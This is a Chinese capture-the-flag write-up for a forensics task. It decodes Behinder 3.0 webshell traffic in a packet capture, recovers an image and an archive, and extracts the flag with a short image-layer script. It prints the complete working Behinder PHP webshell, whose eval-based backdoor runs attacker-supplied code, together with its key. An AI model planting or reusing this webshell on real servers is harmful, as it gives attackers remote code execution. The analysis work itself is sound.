浙江省赛决赛 misc2 蝎子
Misc 2
tcp.stream eq 0 内得知是冰蝎3.0,key是e46023a69f8db309
<?php
@error_reporting(0);
session_start();
// $key="e45e329feb5d925b"; //........................32...md5.........16........................rebeyond
$key="e46023a69f8db309"; //DASCTF
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
冰蝎3.0就是base64+aes cbc,IV补16个0
tcp.stream eq 4 内可以得到password.png和flag.7z,这个包很大,得让他加载一会
看头部得知还有一层base64
获得具体信息,同样都是base64
解完的content是有效信息,flag.7z获得流程同理
这个是光栅图,可以观察到是5层(8神的妙妙脚本)
from PIL import Image
import numpy as np
img = np.array(Image.open('password.png'))
for i in range(5):
z = np.zeros_like(img)
z[:, i::5, :] = img[:, i::5, :]
Image.fromarray(z).show()
解压7z得到flag:DASCTF{d68b6013-d70a-4ada-926d-68fe3265360a}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通